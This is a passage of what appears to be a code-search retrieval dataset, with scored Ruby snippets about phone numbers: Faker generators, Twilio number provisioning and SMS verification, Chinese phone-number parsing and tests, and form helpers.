"text": "def mutate_phone_number(_)\n Faker::PhoneNumber.phone_number\n end",
"title": ""
},
{
"docid": "2d184208a7f1fc0ce38fabe4df594eed",
"score": "0.63190883",
"text": "def verify_phone\n phone_verified = false\n begin\n @client = Twilio::REST::Client.new(@config[\"config\"][\"phone\"][\"account_sid\"], @config[\"config\"][\"phone\"][\"auth_token\"])\n phone_numbers = @client.incoming_phone_numbers.list\n if phone_numbers.empty?\n @config[\"config\"][\"phone\"][\"phone_number\"] = @client.available_phone_numbers(\"US\").local.list.first.phone_number\n @config[\"config\"][\"phone\"][\"phone_sid\"] = @client.incoming_phone_numbers.create(phone_number: @config[\"config\"][\"phone\"][\"phone_number\"]).sid\n box(\"Acquired phone number.\")\n else\n @config[\"config\"][\"phone\"][\"phone_number\"] = phone_numbers.first.phone_number\n @config[\"config\"][\"phone\"][\"phone_sid\"] = phone_numbers.first.sid\n box(\"Already have phone number.\")\n end\n phone_verified = true\n success_prompt(\"Twilio authenticated. Phone Number: #{@config[\"config\"][\"phone\"][\"phone_number\"]} Phone SID: #{@config[\"config\"][\"phone\"][\"phone_sid\"]}\")\n rescue StandardError\n error_box(\"Testing Twilio failed. Please try again. If this persists, please reach out to the developers.\")\n end\n phone_verified\nend",
"title": ""
},
{
"docid": "50d69dbbeaada2fe89fc894c9405d1ae",
"score": "0.6303472",
"text": "def phone_number_field\n $tracer.trace(__method__)\n #unit_test_no_generate: phone_number_field, input.id(\"PhoneNumber\")\n return ToolTag.new(input.id(\"PhoneNumber\"), __method__, self)\n end",
"title": ""
},
{
"docid": "0b7339bb7d7c5279558c313956b8e211",
"score": "0.6295857",
"text": "def phone_number\n '+18773289677'\n end",
"title": ""
},
{
"docid": "513ad94900bd64966fd15f1f3752c90d",
"score": "0.62601244",
"text": "def get_telephone\n area_code = @rand.rand(1000).to_s.rjust(3, '0')\n last_four_digits = @rand.rand(10000).to_s.rjust(4, '0')\n \"(\" + area_code + \") 555-\" + last_four_digits\n end",
"title": ""
},
{
"docid": "2682dac96289b9cdaac2420599d7668b",
"score": "0.62517023",
"text": "def phone_number\n case rand(0..2)\n when 0 then fixed_line_number\n when 1 then mobile_number\n when 2 then mobile_or_pager_number\n end\n end",
"title": ""
},
{
"docid": "afa816e45ac2008196674768b45573a2",
"score": "0.6237227",
"text": "def phone_number\n element_with_value('PhoneNumber', opts[:phone_number][0..14])\n end",
"title": ""
},
{
"docid": "943a96c213da8240a2e636d6f8115ef4",
"score": "0.623527",
"text": "def add_member_phone(phone)\n\n end",
"title": ""
},
{
"docid": "ec566dd4b79b68a0602d8bd306f77bbe",
"score": "0.6216351",
"text": "def test_numbers\n\n # landline, beijing\n [\n ['(+8610)5992 7396', '59927396'],\n ['(+8610) 5992 0000', '59920000'],\n ['08610 5992 0000', '59920000'],\n ].each do | test, expected |\n x = CnPhoneNumber.new test\n assert_equal :landline, x.type, \"failed on #{test}\"\n assert_equal 'Beijing', x.city\n assert_equal expected, x.number\n assert x.is_valid?, \"failed on #{test}\"\n end\n\n # landline, shanghai\n [\n ['021 61711150', '61711150'],\n ['021 51879217', '51879217'],\n ['021 51863213', '51863213'],\n # SMS spammer\n ['021 10655755', '10655755'],\n ].each do | test, expected |\n x = CnPhoneNumber.new test\n assert_equal :landline, x.type, \"failed on #{test}, expected #{expected}\"\n assert_equal 'Shanghai', x.city\n assert_equal expected, x.number\n assert x.is_valid?, \"failed on #{test}\"\n end\n\n # mobile, china_unicom\n [\n ['18612345678', '12345678'],\n ['15692164005', '92164005'],\n ].each do | test, expected |\n x = CnPhoneNumber.new test\n assert_equal :mobile, x.type, \"failed on #{test}\"\n assert_equal :china_unicom, x.provider, \"failed on #{test}\"\n assert_equal expected, x.number\n assert x.is_valid?, \"failed on #{test}\"\n end\n [\n # all short 1 digit\n ['1861234567', ''],\n ['1569216400', ''],\n ].each do | test, expected|\n x = CnPhoneNumber.new test\n assert ! x.is_valid?, \"failed on #{test}\"\n end\n\n # mobile, china_mobile\n [\n ['13636509747', '36509747'],\n ['18321012693', '21012693'],\n ['13439500544', '9500544'],\n ].each do | test, expected |\n x = CnPhoneNumber.new test\n assert_equal :mobile, x.type, \"failed on #{test}\"\n assert_equal :china_mobile, x.provider, \"failed on #{test}\"\n assert_equal expected, x.number \n assert x.is_valid?, \"failed on #{test}\"\n end\n [\n # short 1 digit\n ['1363650974', '36509747'],\n ].each do | test, expected |\n x = CnPhoneNumber.new test\n assert ! x.is_valid?, \"failed on #{test}\"\n end\n\n end",
"title": ""
},
{
"docid": "f24096e39276f523a2e9d6f6142560fc",
"score": "0.62030315",
"text": "def phone\n @phone ||= Phone::Gateway.new(client)\n end",
"title": ""
},
{
"docid": "e61c186d0561478e1753401d30b50af6",
"score": "0.6200914",
"text": "def phone_number\n '+18009977777'\n end",
"title": ""
},
{
"docid": "bbc7a26d4baf890fa330c7ab0120caf4",
"score": "0.61957425",
"text": "def cell_phone_with_country_code; end",
"title": ""
},
{
"docid": "9a721983b43cfdc26aaf751cf2d8bf4a",
"score": "0.61465245",
"text": "def initialize(phone)\n @phone = phone\n end",
"title": ""
},
{
"docid": "56724d4a880125adbfd4cbb99c0b916b",
"score": "0.6138866",
"text": "def initialize(number)\n @raw_number = number\n @number = CnPhoneNumber.clean(number)\n # assume okay until shown otherwise\n @reason = :ok\n #puts \"number = #{@number}\"\n\n # TODO too short or too long\n\n # let's determine the basic type: landline, mobile, magic, or unknown\n # source: TODO\n if CnPhoneNumber.is_magic_number?(@number)\n @type = :magic\n # a very basic length check: at least 7 digits, assuming no area or provider code\n elsif @number.length >= 7\n if @number[0] == '1'\n # at this point, it's either: Beijing's city code, OR ...\n if @number[1] == '0'\n @type = :landline\n # no known mobile providers have '19...'\n elsif @number[1] != '9'\n @type = :mobile\n else\n @type = :unknown\n end\n else\n @type = :landline\n end\n else\n @type = :unknown\n @reason = :unknown_type\n end\n #puts \"type = #{@type}\"\n\n if @type == :mobile\n # see if we can find a provider, and strip it from @number if found\n @provider = :unknown\n @provider_number = nil\n\n # all mobile numbers must be length 11. there are two cases:\n # a) 3 digit provider code + 8 digit local extension\n # b) 4 digit provider code (134X) + 7 digit local extension\n length_check_passed = @number.length == 11\n\n if length_check_passed\n Providers.all.each_pair do | area_code, provider |\n if @number[0, area_code.length] == area_code\n @provider = provider\n @provider_number = area_code\n @number = @number[area_code.length, @number.length]\n break\n end\n end\n end\n elsif @type == :landline\n # try to find the city, and strip it from @number if found\n @city = :unknown\n @city_number = nil\n Provinces.all.each_pair do | area_code, city |\n #puts area_code, city, @number[0, area_code.length]\n # all landline numbers must be >= length 7 (minus the provider code)\n if @number[0, area_code.length] == area_code && @number.length - area_code.length >= 7\n @city = city\n @city_number = area_code\n @number = @number[area_code.length, @number.length]\n break\n end\n end\n else\n @provider = :unknown\n @provider_number = nil\n @city = :unknown\n @city_number = nil\n end\n\n end",
"title": ""
},
{
"docid": "616402f97b72a442d2a3bd2cc9457520",
"score": "0.6135835",
"text": "def short_phone_number\n FFaker.numerify('###-##-##')\n end",
"title": ""
},
{
"docid": "637ed6a10809b2e42c65ccbbef8a0c9b",
"score": "0.6132986",
"text": "def create\n @number = Number.new(number_params)\n\n if !@number.business_number.blank?\n @number.business_number = \"+1\"+Phony.normalize(@number.business_number) \n end\n\n begin \n @client = Twilio::REST::Client.new BwCallTracking::Application.config.account_sid, BwCallTracking::Application.config.auth_token \n number = @client.account.incoming_phone_numbers.create(:area_code => @number.area_code[1..3], :voice_url => BwCallTracking::Application.config.voice_url, :status_callback => BwCallTracking::Application.config.voice_url)\n @number.tracking_number = number.phone_number\n rescue StandardError => e\n puts \"ERROR: \"+e.message \n end \n\n respond_to do |format|\n if @number.save\n format.html { redirect_to numbers_url, notice: 'Number was successfully created.' }\n format.json { render :show, status: :created, location: @number }\n else\n format.html { render :new }\n format.json { render json: @number.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cb668fe05c94c11995f4af7833c17ade",
"score": "0.61155343",
"text": "def set_PhoneNumber(value)\n set_input(\"PhoneNumber\", value)\n end",
"title": ""
},
{
"docid": "a8c8261db04865d7d66983e2b3ccf10e",
"score": "0.61144555",
"text": "def search_phone\n\n end",
"title": ""
},
{
"docid": "0df5dba102922b980bc4867dab30940c",
"score": "0.61018586",
"text": "def user_work_phone\n\tend",
"title": ""
},
{
"docid": "66bf2ea36768490813e81979f64dc84f",
"score": "0.6099733",
"text": "def test_phone_number_profile\r\n\r\n @place_holder.login_and_assert_profile(PropertiesReader.get_phone_number_profile_url)\r\n\r\n end",
"title": ""
},
{
"docid": "41b1a250564b09a2299180e452171b6b",
"score": "0.608893",
"text": "def mobile_phone_number\n FFaker.numerify(\"#{mobile_phone_prefix}## ### ###\")\n end",
"title": ""
},
{
"docid": "4d3e158fdb0906a9bb1c7eacc8e6c47e",
"score": "0.60881853",
"text": "def field_register_pharmacy(pharm_number,pharm_contact_name,staff_phone_number)\n pharm_number = standardize_number(pharm_number[0])\n\n #check to make sure this number is not already registered\n phone_number_in_db = Number.where(:id => pharm_number)\n if phone_number_in_db.count > 0\n send_try_again_sms(staff_phone_number,\"This number is already registered to pharmacy #{phone_number_in_db.first.pharmacy_id}\")\n return nil\n end\n\n\n Pharmacy.insert(:preferred_number_id => pharm_number,\n :name => pharm_contact_name)\n pid = Pharmacy.where(:preferred_number_id => pharm_number).first.id\n\n Number.insert(\n :id => pharm_number,\n :pharmacy_id => pid,\n :call_this_number => 1,\n :created_at => Time.now\n )\n\n #settings so we dont call em\n PendingCall.insert(\n :number_id => pharm_number,\n :attempts => $max_ors_attempts,\n :error_message_sent => 1\n )\n\n # Default start and end time for pharmacies\n AvailableTime.insert(\n :pharmacy_id => pid,\n :start_time => \"09:00:00\",\n :end_time => \"21:00:00\"\n )\n\n sms_message_confirmation = \"Registration successful. Pharmacy ID number is #{pid}\"\n $stderr.puts \"sending reg confirmation to to #{staff_phone_number}\"\n\n $client.account.sms.messages.create(\n :from => $sms_out_number,\n :to => staff_phone_number,\n :body => sms_message_confirmation)\n #send message to user\n $stderr.puts \"sending reg confirmation to to #{pharm_number}\"\n $client.account.sms.messages.create(\n :from => $sms_out_number,\n :to => pharm_number,\n :body => \"Welcome to bangpharma. Your pharmacy ID is #{pid}.\")\n\n return nil\nend",
"title": ""
},
{
"docid": "b3086e914cab5fbc71f82959cfa22d0e",
"score": "0.60848534",
"text": "def customer_phone\n params['phone']\n end",
"title": ""
},
{
"docid": "a38e6f954acbc2fe8ac1c5db059a8e16",
"score": "0.60690707",
"text": "def phone_number\n element_with_value('PhoneNumber', opts[:phone_number])\n end",
"title": ""
},
{
"docid": "8f3c0277d3d2c059174cbee46ea3e0fb",
"score": "0.60585725",
"text": "def dialNumber\n\t\tprint countryCode\n\t\tprint cityCode\n\t\tprint phoneNumber\n\tend",
"title": ""
},
{
"docid": "711bbc774d96bd99045255d20ec03670",
"score": "0.60568887",
"text": "def phone_number_with_ext\n \"(#{Faker::PhoneNumber.area_code}) #{Faker::PhoneNumber.exchange_code}-#{Faker::PhoneNumber.subscriber_number} Ext:1234\"\n end",
"title": ""
},
{
"docid": "f7379864d9aba342f7d3b1d66c835f38",
"score": "0.60536325",
"text": "def customer_phone\n params['phone']\n end",
"title": ""
},
{
"docid": "ff8fd3a2ab513594bb431fd53379a8d1",
"score": "0.6048657",
"text": "def normalize_phone_number\n # stretch\n end",
"title": ""
},
{
"docid": "ff8fd3a2ab513594bb431fd53379a8d1",
"score": "0.6048657",
"text": "def normalize_phone_number\n # stretch\n end",
"title": ""
},
{
"docid": "ff8fd3a2ab513594bb431fd53379a8d1",
"score": "0.6048657",
"text": "def normalize_phone_number\n # stretch\n end",
"title": ""
},
{
"docid": "ff8fd3a2ab513594bb431fd53379a8d1",
"score": "0.6048657",
"text": "def normalize_phone_number\n # stretch\n end",
"title": ""
},
{
"docid": "c0c046e5c0fe9a2522af3dea8f61545c",
"score": "0.6037998",
"text": "def gen_int_phone_num\n \"011-#{rand(100) + 1}-#{rand(100) + 10}-#{rand(1000) + 1000}\"\nend",
"title": ""
},
{
"docid": "0c7e7cc93b1ec1847b000fabc1b0370e",
"score": "0.6037981",
"text": "def getToolsValidate_phone( phone_number, country)\n params = Hash.new\n params['phone_number'] = phone_number\n params['country'] = country\n return doCurl(\"get\",\"/tools/validate_phone\",params)\n end",
"title": ""
},
{
"docid": "2f8b1d61062d10572772d65e31957118",
"score": "0.5988662",
"text": "def phone(no)\n if no\n number_to_phone(no, :area_code => false)\n else\n no\n end\n end",
"title": ""
},
{
"docid": "be852f64fd2a1678f172297edeb0523d",
"score": "0.5987275",
"text": "def set_Phone(value)\n set_input(\"Phone\", value)\n end",
"title": ""
},
{
"docid": "29c1e0741aaed80c687654cf3aed6368",
"score": "0.59827864",
"text": "def phone_number_hops_field\n $tracer.trace(__method__)\n #unit_test_no_generate: phone_number_hops_field, input.className(create_ats_regex_string(\"ats-phone\"))\n return ToolTag.new(input.className(create_ats_regex_string(\"ats-phone\")), __method__, self)\n end",
"title": ""
},
{
"docid": "99c7cff2fc9eec7debad929719045c64",
"score": "0.5980083",
"text": "def international_phone\n \"011-#{rand(100) + 1}-#{rand(100)+10}-#{rand(10000)+1000}\"\n end",
"title": ""
},
{
"docid": "7cf0f5ea51c1cfb4590380e3399a8169",
"score": "0.5969883",
"text": "def assign_phone_number\n if !params[:customer].blank? && !params[:call_id].blank?\n call = Radius::Call.find_by_radacctid(params[:call_id].to_i)\n customer = Customer.find_by_name_and_address(params[:customer])\n if !call\n flash[:error] = 'Call not found'\n elsif !customer\n flash[:error] = 'Customer not found'\n else\n customer.phones.add call.caller\n end\n end\n redirect_to :action => :index\n end",
"title": ""
},
{
"docid": "249b840e37055ef414b282d284a97959",
"score": "0.59612536",
"text": "def create_phone\n puts \"Please enter phone category: \"\n \tcat = gets.chomp\n puts \"Please enter phone number: \"\n \tdig = gets.chomp\n\n phone = Phonenumber.create({category: cat, digits: dig})\nend",
"title": ""
},
{
"docid": "61a941f156220da2a1e76ad933240614",
"score": "0.5930369",
"text": "def get_instance(payload)\n PhoneNumberInstance.new(@version, payload)\n end",
"title": ""
},
{
"docid": "61a941f156220da2a1e76ad933240614",
"score": "0.5930369",
"text": "def get_instance(payload)\n PhoneNumberInstance.new(@version, payload)\n end",
"title": ""
},
{
"docid": "cfb59781c427bfcbde7a86efdc884fbf",
"score": "0.59286356",
"text": "def primary_phone=(n)\n pull unless @details\n pn = Quickbooks::Model::TelephoneNumber.new\n pn.free_form_number = n\n @details.primary_phone = pn\n #update our locally stored number too\n update_phone_number\n end",
"title": ""
},
{
"docid": "e469887e6b3ed6d5d29cb435344363c5",
"score": "0.5928212",
"text": "def phone_number\n case rand(0..1)\n when 0 then home_work_phone_number\n when 1 then mobile_phone_number\n end\n end",
"title": ""
},
{
"docid": "e6984b90bf38332918b9fc250ea8de11",
"score": "0.5926636",
"text": "def initialize(user)\n @sms_client = Twilio::REST::Client.new(ACCOUNT_SID, AUTH_TOKEN)\n @lookup_client = Twilio::REST::LookupsClient.new(ACCOUNT_SID, AUTH_TOKEN)\n @phone_number = user.phone_number\n end",
"title": ""
},
{
"docid": "5160b30cde360579a996ddd7a224087c",
"score": "0.59207904",
"text": "def edit_phone_number\n begin\n if params[:user][:phone_number].present?\n @user = api_user\n if @user && params[:user][:password].present?\n authorized_user = @user.valid_password?(params[:user][:password])\n elsif @user && params[:user][:email].present?\n authorized_user = @user.email == params[:user][:email] ? @user : nil\n else\n authorized_user=@user\n end\n if authorized_user\n if params[:user][:verification_code].present?\n if @user.verification_code == params[:user][:verification_code]\n if @user.update(phone_number: params[:user][:phone_number],verification_code: nil)\n @response = {:code => \"0\",:status => \"Success\",:message => \"Phone number updated successfully\",:user => @user.create_hash}\n else\n @response = {:code => \"1\",:status => \"Error\",:message => \"Error while updating phone number\",:user => @user.errors}\n end\n else\n @response = {:code => \"2\",:status => \"Error\",:message => \"Wrong verification code\"}\n end\n else\n verification_code = rand(1000...9999)\n to_number = \"#{params[:countries]}#{params[:user][:phone_number]}\"\n body = \"Your phone number successfully updated on miniflix and your verification code is #{verification_code}\"\n\n twillo_response = TwilioService.new(to_number, body).call()\n\n if twillo_response[:success]\n @response = {:code => \"0\",:status => \"Success\",:message => \"Successfully sent verification code on your phone number.\"}\n @user.update_attributes(:verification_code => verification_code)\n else\n @response = {:code => \"-1\",:status => \"Error\",:message => twillo_response[:message]}\n end\n end\n else\n @msg = params[:user][:email].present? ? \"Invalid email\" : \"Invalid Current Password\"\n @response = {:code => \"3\",:status => \"Error\",:message => @msg}\n end\n else\n @response = {:code => \"4\",:status => \"Error\",:message => \"Please pass user_id/phone_number/password/email\"}\n end\n rescue Exception => e\n @response = {:code => \"-1\",:status => \"Error\",:message => e.message}\n end\n render :json => @response\n end",
"title": ""
},
{
"docid": "a99c78b1243cf6f742a342c2252e0cc3",
"score": "0.59127814",
"text": "def user_home_phone\n\tend",
"title": ""
},
{
"docid": "edae39d0d6dd2a17fae96f69c3712ec4",
"score": "0.5908164",
"text": "def verify\n @response = Authy::API.request_sms(id: current_user.authy_id)\n @user_phone = current_user.country_code + current_user.phone_number\n end",
"title": ""
},
{
"docid": "524da2950c0133169825624abaf01ec3",
"score": "0.58974826",
"text": "def cell_phone_in_e164; end",
"title": ""
},
{
"docid": "85ae94ed95dff1ee728bcb1c8166df96",
"score": "0.58888257",
"text": "def phone_number\n @phone.number\n end",
"title": ""
},
{
"docid": "5001991b39b1ba42c75193f501924e4a",
"score": "0.58829457",
"text": "def set_phone_num\n @phone_num = PhoneNum.find(params[:id])\n end",
"title": ""
},
{
"docid": "c3f72f779ebc25912ffa417357aa51d2",
"score": "0.5875244",
"text": "def enter_int_address(country, first_name, last_name, address1, city, zip_postal_code, phone_number, email_address)\n $tracer.trace(\"GameStopMobileDSL : #{__method__}, Line : #{__LINE__}\")\n chkout_country_selector.value = country\n chkout_first_name_field.value = first_name\n chkout_last_name_field.value = last_name\n chkout_address_1_field.value = address1\n chkout_city_field.value = city\n chkout_zip_code_field.value = zip_postal_code\n chkout_phone_number_field.value = phone_number\n chkout_email_address_field.value = email_address\n chkout_confirm_email_address_field.value = email_address\n end",
"title": ""
},
{
"docid": "576a49792055dda961f47a4768c13fd3",
"score": "0.58704793",
"text": "def phone_number_field\n $tracer.trace(format_method(__method__))\n return ToolTag.new(@tag.find.input.className(create_ats_regex_string(\"ats-phonefield\")), format_method(__method__))\n end",
"title": ""
},
{
"docid": "6fe5223dd80a3e0fc15503720ad46f1e",
"score": "0.5867163",
"text": "def format_phone\n if @phone != nil\n @phone = self.phone.scan(/[0-9]/).join\n self.phone = @phone.length == 7 ? ActionController::Base.helpers.number_to_phone(@phone) : \n @phone.length == 10 ? ActionController::Base.helpers.number_to_phone(@phone, area_code: true) :\n @phone\n\n end\n end",
"title": ""
},
{
"docid": "11e1fd9589b738f452a3564cdd5ce03f",
"score": "0.5866444",
"text": "def phone\n @json['user']['content']['phonenumber'] || ''\n end",
"title": ""
},
{
"docid": "fd3ab174286ae5d6ec3ffd5d2e07d889",
"score": "0.5862051",
"text": "def check\n response = Authy::PhoneVerification.check(\n verification_code: params[:verification_code],\n country_code: 1,\n phone_number: params[:phone]\n )\n render json: response\n end",
"title": ""
},
{
"docid": "b94a2d1e3c45e0d637e4c22e2d8b2800",
"score": "0.5855463",
"text": "def change_phone\n current_user.genarate_phone_confirmation_code params[:phone]\n end",
"title": ""
},
{
"docid": "b207cd481cf8c97bdafb1b10cff61f1c",
"score": "0.5853947",
"text": "def user_phone\n if update_phone && user.completed_sign_up?\n user.unverified_phone\n else\n user.phone\n end\n end",
"title": ""
},
{
"docid": "84cb3f3b93efb250bd9ecafaecd37187",
"score": "0.58539045",
"text": "def get\n PhoneNumber.get self\n end",
"title": ""
},
{
"docid": "8497f3d2bd9e137fadc6c2933429ea4a",
"score": "0.58528775",
"text": "def gen_phone_num\n \"#{rand(900) + 100}-#{rand(900) + 100}-#{rand(1000) + 1000}\"\nend",
"title": ""
},
{
"docid": "babcd82e36f38cedc4a0ce3feb3e83c8",
"score": "0.5834017",
"text": "def send_pin_to_twilio\n # account_sid = '[AccountSID]' # replace with actual sid\n # auth_token = '[AuthToken]' # replace with actual auth token\n # client = Twilio::REST::Client.new(account_sid, auth_token) \n \n # msg = \"Hi, please input the pin to continue to login: #{self.pin}\"\n\n # message = client.messages.create({\n # from: '[TwilioNumber]', # replace with actual Twilio phone number\n # to: '[UserNumber]', # replace with code that gets user's phone number\n # body: msg\n # })\n end",
"title": ""
},
{
"docid": "76d1ceb616a8acb9054f21a13b837c57",
"score": "0.5822916",
"text": "def update_phone_number\n begin\n self.phone_number = self.primary_phone.tr('^0-9', '')\n rescue\n return nil\n end\n end",
"title": ""
},
{
"docid": "587115194a7061e222a2c231ec685ccf",
"score": "0.5818991",
"text": "def number(twilio=false, name=nil, area_code=nil)\n if twilio\n # Check if twilio configuration exists. If not throw and errors because twilio was passed as true.\n if !@config[:configuration][:twilio].blank? and (!@config[:configuration][:twilio][:account_id].blank? and !@config[:configuration][:twilio][:api_key].blank?)\n account = @config[:configuration][:twilio][:account_id]\n key = @config[:configuration][:twilio][:api_key]\n\n # Initialize twilio client.\n twilio = Twilio::REST::Client.new account, key\n\n # If any area code is provide look for local numbers, if not get a toll free.\n if area_code.blank?\n available_numbers = twilio.account.available_phone_numbers.get('US').toll_free.list\n else\n available_numbers = twilio.account.available_phone_numbers.get('US').local.list(area_code: area_code) unless area_code.blank?\n end\n\n # Select the first number available.\n available_number = available_numbers.first\n\n # If available numbers is blank throw an error because something went wrong.\n if available_numbers.blank?\n raise StandardError, \"No Available Numbers\"\n else\n\n # Convert the phone number into something a artificial voice can say.\n phone_number = available_number.phone_number.gsub(\"+1\",\"\")\n phone_number = \"#{phone_number[0..2]}-#{phone_number[3..5]}-#{phone_number[6..10]}\"\n\n\n # Setting the transciption email\n # email = @config[:configuration][:twilio][:transcription_email].blank? ? \"developers%40level.agency\" : @config[:configuration][:twilio][:transcription_email]\n email = \"developers%40level.agency\"\n # Put together the voicemail Twimil.\n voice_message = \"http://twimlets.com/voicemail?Email=#{email}&Message=You%20reached%20the%20voicemail%20box%20of%20#{phone_number}.%20%20Please%20leave%20a%20message%20after%20the%20beep.&Transcribe=true&\"\n\n # Here we buy the number, set the voice_url to the voicemail Twimil and set the\n # sms_url to echo so Twilio will capture the message but not reply to it.\n number = twilio.account.incoming_phone_numbers.create({\n phone_number: available_number.phone_number,\n friendly_name: name,\n voice_url: voice_message,\n voice_method: \"GET\",\n sms_url: \"http://twimlets.com/echo?Twiml=%3CResponse%3E%3C%2FResponse%3E\",\n sms_method: \"GET\"\n })\n\n # If number is blank throw and error because something went wrong.\n if number.blank?\n raise StandardError, \"Unable to allocate Twilio number\"\n else\n number.phone_number\n end\n end\n else\n raise ArgumentError, \"Cannot find Twilio Account ID and API key in configuration\"\n end\n else\n Faker::PhoneNumber.phone_number\n end\n end",
"title": ""
},
{
"docid": "862fc98f89d1f698c2e132bf1984048a",
"score": "0.58156526",
"text": "def create\n # contact_params[:phone_number] = contact_params[:phone_number].phony_formatted(:normalize => \"KE\", :format => :international).gsub(/\\D/, '')\n @contact = Contact.new(contact_params)\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to @contact, notice: 'Contact was successfully created.' }\n format.json { render json: { id: @contact.id.to_i, status: \"success\" } }\n else\n format.html { render :new }\n format.json { render json: { id: @contact.id.to_i, status: \"failure\" } }\n end\n end\n end",
"title": ""
},
{
"docid": "60e2ea927c658fa805744eb42d03a3e0",
"score": "0.58155805",
"text": "def validate_911(address1, address2, city, state, zip, plus_four, caller_name)\n self.arguments = {\n address1: address1, \n address2: address2, \n city: city,\n state: state,\n zip: zip,\n plus_four: plus_four,\n caller_name: caller_name,\n }\n self.action = :validate911\n self.response = VoipApi.account.request(self.action, self.klass, self.arguments)\n self\n end",
"title": ""
},
{
"docid": "35d588c9bd4816aeaf742b34de97e07b",
"score": "0.5798358",
"text": "def enter_int_address_plus_email(country, first_name, last_name, address1, city, zip_postal_code, phone_number, email_address)\n $tracer.trace(\"GameStopMobileDSL : #{__method__}, Line : #{__LINE__}\")\n enter_int_address(country, first_name, last_name, address1, city, zip_postal_code, phone_number, email_address)\n chkout_email_address_field.value = email_address\n chkout_confirm_email_address_field.value = email_address\n end",
"title": ""
},
{
"docid": "db1342b6ed5ab0562154d1772a8ee623",
"score": "0.57926",
"text": "def enter_phone\n phone = ''\n until VALID_PHONE_NUMBER_REGEX.match?(phone)\n print 'Enter a valid phone number ###-###-####: >> '\n phone = gets.chomp\n end\n phone\n end",
"title": ""
},
{
"docid": "2552308b65a635404d0ef76412cebb11",
"score": "0.57902306",
"text": "def mobile_enquiry(user_input_tokens)\n phone_enquiry(user_input_tokens)\n end",
"title": ""
},
{
"docid": "f2d6087f98952399134b7d1f11475b90",
"score": "0.5777589",
"text": "def generate_account\n toll_free = @client.available_phone_numbers('US').toll_free.list(limit: 1)\n\n toll_free.each do |record|\n \n incoming_phone_number = @client.incoming_phone_numbers.create(phone_number: record.phone_number)\n\n puts incoming_phone_number.sid\n end\n\n \n end",
"title": ""
},
{
"docid": "f5855d640e8fd6fdd53dbe86e3b26a5e",
"score": "0.57765293",
"text": "def get_phone_no\n phone_no = params[:phone_no] if params[:phone_no].present?\n @phone = phone_no.respond_to?(\"strip\") ? phone_no.strip : nil\n end",
"title": ""
},
{
"docid": "bec36dcf54f635763990e991c1c6b93e",
"score": "0.57717705",
"text": "def createPhoneNumber\r\n '(%d%d%d) %d%d%d - %d%d%d%d' % array end",
"title": ""
},
{
"docid": "6204eaa2f5e0f66f45de347f15288be2",
"score": "0.57699156",
"text": "def phone_number\n\t\t\trecipient.phone_number\n\t\tend",
"title": ""
},
{
"docid": "044db0ece29c6d4f1918762689d9015c",
"score": "0.5765644",
"text": "def format_phone\n if Phoner::Phone.valid? self.phone\n pn = Phoner::Phone.parse phone, :country_code => '1'\n self.phone = pn.format(\"(%a) %f-%l\")\n end\n end",
"title": ""
},
{
"docid": "ee0476afdbfca4849162a92544b03007",
"score": "0.57654816",
"text": "def add_phone(p)\n phone_numbers << p \n end",
"title": ""
},
{
"docid": "d624d38171b92965810a7208627718ee",
"score": "0.5763857",
"text": "def verify(phone_number)\n\t\t \n\t\turi = URI.parse(\"https://neutrinoapi.com/phone-validate\")\n\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\thttp.use_ssl = true\n\t\trequest = Net::HTTP::Post.new(uri.request_uri)\n\t\trequest.set_form_data(\n\t\t {\n\t\t \"user-id\" => Rails.application.secrets.phone_validate_user_id, \n\t\t \"api-key\" => Rails.application.secrets.phone_validate_api_key,\n\t\t \"number\" => phone_number\n\t\t })\n\t\tresponse = http.request(request)\n\t\tresult = JSON.parse response.body\n\tend",
"title": ""
},
{
"docid": "7ba20aa60221291f0937ddf160d87dc8",
"score": "0.57543516",
"text": "def phone_number\n value = Faker::PhoneNumber.phone_number\n remove_extension(value)\n end",
"title": ""
},
{
"docid": "7ba20aa60221291f0937ddf160d87dc8",
"score": "0.57543516",
"text": "def phone_number\n value = Faker::PhoneNumber.phone_number\n remove_extension(value)\n end",
"title": ""
},
{
"docid": "51c28b686f3c56d84af29591de3c6a6e",
"score": "0.5753852",
"text": "def phone_params\n params.require(:phone).permit(:id, :code, :number, :description)\n end",
"title": ""
},
{
"docid": "b61b9f910c0baeef8b9bf66de1cf1aa1",
"score": "0.5753729",
"text": "def validate_pin(pin)\n (pin.length == 4 || pin.length == 6) && pin.count(\"0-9\") == pin.length\nend",
"title": ""
},
{
"docid": "5071dc53f4ccca782f7c0a29003b0f3a",
"score": "0.5741929",
"text": "def phone_number\n get_attribute(Yoti::Attribute::PHONE_NUMBER)\n end",
"title": ""
},
{
"docid": "396fb6450563cf7ac3b64366a5169ca7",
"score": "0.5740584",
"text": "def primary_phone\n pull unless @details\n begin\n return @details.primary_phone.free_form_number\n rescue\n return nil\n end\n end",
"title": ""
},
{
"docid": "06d4e0dd8a99a00233bca605edb3178e",
"score": "0.57234037",
"text": "def phone_info(phone_number)\n if Telephony.config.pinpoint.sms_configs.empty?\n return PinpointHelper.handle_config_failure(:sms)\n end\n\n response = nil\n error = nil\n\n Telephony.config.pinpoint.sms_configs.each do |sms_config|\n error = nil\n CLIENT_POOL[sms_config].with do |client|\n response = client.phone_number_validate(\n number_validate_request: { phone_number: phone_number },\n )\n rescue Seahorse::Client::NetworkingError,\n Aws::Pinpoint::Errors::ServiceError => error\n PinpointHelper.notify_pinpoint_failover(\n error: error,\n region: sms_config.region,\n channel: :sms,\n extra: {},\n )\n end\n break if response\n end\n\n type = case response&.number_validate_response&.phone_type\n when 'MOBILE'\n :mobile\n when 'LANDLINE'\n :landline\n when 'VOIP'\n :voip\n else\n :unknown\n end\n\n error ||= unknown_failure_error if !response\n\n PhoneNumberInfo.new(\n type: type,\n carrier: response&.number_validate_response&.carrier,\n error: error,\n )\n end",
"title": ""
},
{
"docid": "9859f11cf81fe2db320d6c5c97de06d1",
"score": "0.57224905",
"text": "def create_phone_number(numbers)\n unless numbers.length != 10\n return \"(#{numbers[0..2].join}) #{numbers[3..5].join}-#{numbers[-4, 4].join}\"\n else\n \"This method accepts only 10-digits numbers.\"\n end\nend",
"title": ""
},
{
"docid": "eeb9b9a5e6bcac098e7e02a47c3d893c",
"score": "0.5720478",
